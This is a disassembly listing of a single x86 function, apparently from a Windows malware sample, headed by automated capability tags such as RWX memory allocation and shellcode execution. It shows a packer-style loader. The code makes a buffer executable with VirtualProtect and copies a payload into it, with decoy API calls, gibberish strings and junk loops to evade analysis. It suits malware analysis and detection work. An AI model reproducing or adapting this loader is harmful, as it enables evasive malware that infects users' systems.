Function at 0x401340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x14e4
call fcn.004086a0
mov eax, dword [0x8c0160]
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x401412
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
lea eax, [esp + 0x4f4]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0
lea ecx, [esp + 0xf4]
push ecx
push 0
call dword [sym.imp.USER32.dll_RealGetWindowClassA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push str.davufevehabigesisugolucomeyixavo
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call fcn.00401bf4
push 0
push 0
call fcn.00401a94
add esp, 0xc
push 0
call fcn.00401eaa
add eax, 0x1134b
push eax
push 0
mov dword [0x8c0160], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x8c0160]
lea ecx, [esp + 0x3c]
push ecx
push 0x40
push edx
push eax
mov dword [0x8bf0b4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x8c0160], esi
jbe 0x4014a2
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401460
mov eax, dword [0x8c0164]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x8bf0b4]
mov byte [edx + esi], cl
cmp dword [0x8c0160], 0xa8
jne 0x401499
push 0
push 0
call edi
lea eax, [esp + 0x40]
push eax
call ebx
push str.depixel
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc esi
cmp esi, dword [0x8c0160]
jb 0x401460
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
mov dword [esp + 0xc], eax
mov ecx, dword [0x8c0160]
add ecx, eax
cmp ecx, 0xe
jne 0x401568
push 0
push 0
push str.lomoyujadelos
call esi
push 0
lea edx, [esp + 0xcf4]
push edx
push 0
push str.xewede
push 0
call edi
push str.subejulojahom_tolovotocucizidozagetajil_sef_cenicujajeji
call ebx
push 0
lea eax, [esp + 0xf4]
push eax
push str.wuxukumasinahenufapafunonevaca_vawisamiviciruratuvunugawune_zadab_wevapiwuvofavagakopogeceyuhi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
push eax
lea edx, [esp + 0x4f4]
push edx
push eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov word [esp + 0x2e], ax
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
push ecx
push ecx
mov word [esp + 0x2c], cx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push str.vomucetiwuzoluracenedeha_lowabotefopipemivinopaxurev_kasifizacexugibilupidi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x4014ba
call fcn.00401220
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x401591
call fcn.00401320
inc esi
cmp esi, 0x6753f
jl 0x401585
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov dword [esp + 0xc], 0x7b
cmp dword [0x8c0160], 0x86
jne 0x401613
push 0
push 0
call esi
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x14]
mov word [esp + 0x28], dx
push ecx
lea edx, [esp + 0x2c]
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov word [esp + 0x3a], ax
mov word [esp + 0x18], ax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
push edx
lea eax, [esp + 0x48]
push eax
call edi
push 0
lea ecx, [esp + 0xcf4]
push ecx
call ebx
cmp dword [0x8c0160], 0xf
jne 0x40162b
push 0
push 0
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
sub dword [esp + 0xc], 1
jne 0x4015b4
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret